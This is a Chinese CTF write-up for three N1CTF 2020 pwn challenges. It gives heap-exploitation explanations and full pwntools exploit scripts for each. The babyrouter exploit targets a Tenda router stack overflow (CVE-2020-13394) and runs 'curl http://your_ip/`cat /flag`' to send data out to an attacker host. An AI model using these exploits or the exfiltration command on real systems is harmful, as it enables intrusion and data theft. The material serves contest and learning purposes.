N1CTF-2020 PWN 部分題解

Signin

題目邏輯

題目定義了一個用于容器空間動態(tài)拓展的結(jié)構(gòu)體:

Struct a
{
  void* start; // 申請的chunk起始地址
  void* point; // 當(dāng)前使用空間的地址
  void* end; // 容器內(nèi)部最多存放元素的結(jié)束地址
}

題目new功能向容器內(nèi)部寫入一個8字節(jié)長度的數(shù)字,容器空間拓展規(guī)則如下:每次內(nèi)部元素個數(shù)達(dá)到最大后,分配當(dāng)前空間的2倍空間,并將舊空間數(shù)據(jù)拷貝到新空間。

delete功能就單純將point指針值-8。

show功能將point指針-8后的地址里面的值打印出來。

利用

不斷得new,chunk大小變化為 0x20(A), 0x20(B), 0x30, 0x50, 0x90。

兩個0x20的chunk放入了tcache中(B->A),利用delete和show功能就能夠泄露堆地址。

修改B chunk里的fd指針,分配chunk到tcache里。

分配到tcache后就好辦了,修改tcache->conuts[tc_idx], free掉一個chunk泄露libc基址,再修改tcache->entries[tc_idx]來申請到__free_hook。

由于沒有合適的one_gadget可用,使用setcontext+53來ROP。


1.png

EXP

#coding:utf-8
from pwn import *
context.log_level = 'debug'

def send(choice):
    p.sendlineafter('>>', str(choice))

def add(index, number):
    send(1)
    p.sendlineafter('dex:', str(index))
    p.sendlineafter('Number', str(number))

def delete(index):
    send(2)
    p.sendlineafter('dex', str(index))

def show(index):
    send(3)
    p.sendlineafter('dex', str(index))

elf = ELF('./signin')
libc = elf.libc
# p = process('./signin')

p = remote('47.242.161.199', 9990)


add(1, 0)  # chunk 0 0x20
add(1, 1)  # chunk 1 0x20
add(1, 2)  # chunk 2 0x30
add(1, 2)  # chunk 2 0x30
add(1, 3)  # chunk 3 0x50
add(1, 3)
add(1, 3)
add(1, 3)
for i in range(7): # chunk 4 0x90
    add(1, 4)
add(1, 4)

for i in range((0xe8 // 8)+6):
    delete(1)
show(1)
heap_base = int(p.recvuntil('\n')[1:]) - (0x0000560689472e70-0x0000560689461000)
log.info("HEAP BASE: "+hex(heap_base))
tcache_fake_chunk = heap_base+0x50+0x150
delete(1)
add(1, tcache_fake_chunk)

add(2, 0)
add(2, 0) # tcache_fake_chunk

add(1, 0)
add(1, 0)
add(1, 0x31)
for i in range(4):
    add(1, 0)
add(1, 0)
add(1, 0x51)
for i in range(0x40//8):
    add(1, 0)
add(1, 0)
add(1, 0x91)
for i in range(0x80 // 8):
    add(1, 0)

for i in range((0x150+0x40+0x10)//8):
    delete(2)
for i in range((0x40+0x20)//8):
    if i == 0:
        add(2, 0xffffffffffffff00)
    else:
        add(2, 0xffffffffffffffff)

add(1, 5)   # free 0x90 chunk in unsorted_bin
for i in range((0x88+0x80)//8):
    delete(1)
show(1)
libc_base = int(p.recvuntil('\n')[1:]) - (0x00007ffff782eca0-0x7ffff7443000)
log.info(hex(libc_base))
setcontext = libc_base + 0x52145
free_hook = libc_base + libc.sym['__free_hook']
sh = libc_base + libc.search('/bin/sh').next()
pop_rdi_ret = libc_base + 0x000000000002155f
pop_rdx_rsi_ret = libc_base + 0x0000000000130889
ret = libc_base + 0x00000000000008aa

for i in range(4):
    delete(2)
for i in range(0x100//8):
    add(2, free_hook)

for i in range((0x70)//8):
    add(1, 0)
add(1, 0)
add(1, 0x111)

# orw = [setcontext, pop_rdi_ret, heap_base+0x11fc0-8*3, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['open'],
#     pop_rdi_ret, 3, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['read'],
#     pop_rdi_ret, 1, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['write']             
# ]
orw = [setcontext, pop_rdi_ret, sh, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['system']]
for i in range((0xa0-len(orw)*8)//8):
    orw += [0]
orw += [heap_base+0x11fc0+8, ret]
for value in orw:
    add(1, value)
for i in range((0x100//8)-len(orw)):
    add(1, 0)
add(1, 0)


p.interactive()

babyrouter

晚上才看到這題,開始改docker還改出一堆錯誤太菜了,無奈拿了個四血(Venom tql)。


2.png

題目

逆的時候發(fā)現(xiàn)有Tenda關(guān)鍵字,Google一下發(fā)現(xiàn)CVE-2020-13394,https://joel-malwarebenchmark.github.io/

鏈接里給的POC把路徑給隱藏掉了,但逆一下就能找到路徑應(yīng)該是/goform/SetNetControlList

3.png

經(jīng)過測試,這個payload得發(fā)送兩次,而且需要斷開TCP連接后才能觸發(fā)漏洞點strcpy

給的start.sh 改成這樣,docker exec 上去用gdbserver就能愉快的調(diào)試了。

#!/bin/sh
# Add your startup script

brctl addbr br0
ifconfig br0 10.10.10.10 up

service nginx start
nginx -t
nginx -s reload

PRO_NAME=qemu-arm
while true ; do
  NUM=`ps aux | grep ${PRO_NAME} | grep -v grep |wc -l`
  if [ "${NUM}" -lt "1" ];then
    echo "${PRO_NAME} was killed"
    ${PRO_NAME} -g 1234 -L /pwn /pwn/httpd >> /tmp/qemu.txt&  # debug
    rm /qemu_httpd*
    rm /tmp/core-qemu*
  fi
done

調(diào)試確定偏移,并且由于程序由qemu起的,棧地址以及l(fā)ibc基址不變,調(diào)試得到這兩個地址直接寫進(jìn)去,最后調(diào)用system()函數(shù)。

由于需要斷開TCP連接才能觸發(fā)漏洞,system函數(shù)執(zhí)行curl http://ip/`cat /flag`來帶出flag

EXP

#coding:utf-8
from pwn import *
context.log_level = 'debug'

payload = '''POST /goform/SetNetControlList HTTP/1.1\r
Host: 192.168.18.131\r
Accept:  */*\r
X-Requested-With: XMLHttpRequest\r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en-US,en;q=0.9\r
Connection: close\r
Cookie: password=qpl5gk\r
\r
list={}\r
'''

url = '8.210.119.59'
port = 9990

# url = '127.0.0.1'
# port = 2333

libc_base = 0xf659b000
vuln_start = 0xf6ffefbc 
system = libc_base + 0x0005A270
sh = libc_base + 0x00626D2
pop_r0_pc = libc_base + 0x0003db80

p = remote(url, port)
p.send(payload.format('1'))
p.close()

p = remote(url, port)
p.send(payload.format(';'+'1'*(0x260-1+9)+p32(pop_r0_pc)+p32(vuln_start+0x260+0xc)+p32(system)+'curl http://your_ip/`cat /flag`'))
p.close()

easywrite

比賽時沒做出來,賽后看https://ctftime.org/writeup/24295復(fù)現(xiàn)了下

思路是偽造struct tcache_perthread_struct 改 tcache, malloc(0x30)到free_hook,改free_hook。

不過沒有可用的one_gadget, 需要malloc(0x30) 到 free_hook-8, 前八個字節(jié)放"/bin/sh", 后8個字節(jié)放system函數(shù)地址。

EXP

#coding:utf-8
from pwn import *
context.log_level = 'debug'

def get_libc_base():
    p.recvuntil('gift:', timeout=5)
    libc_base = int(p.recv(14), 16) - libc.sym['setbuf']
    return libc_base

def send_message(content):
    p.sendafter('message', str(content))

def send_addr(addr):
    p.sendafter('write', p64(addr))

pfree = 0x0000000000001371

elf = ELF('./easywrite')
libc = ELF(('./libc-2.31.so'))
# p = process('./easywrite')
p = remote('124.156.183.246', 20000)

# gdb.attach(p,'b*$rebase({})'.format(pfree))

libc_base = get_libc_base()
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
tcache = libc_base + 0x1f34f0
one_gadget = libc_base + 0xe6e76
system = libc_base + libc.sym['system']


fake_chunk = '\x07'*0x80+p64(free_hook-8)*4
p.sendafter("message", str(fake_chunk))
p.sendafter('write', p64(tcache))

p.sendafter("message", '/bin/sh\x00'+p64(system))

p.interactive()

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容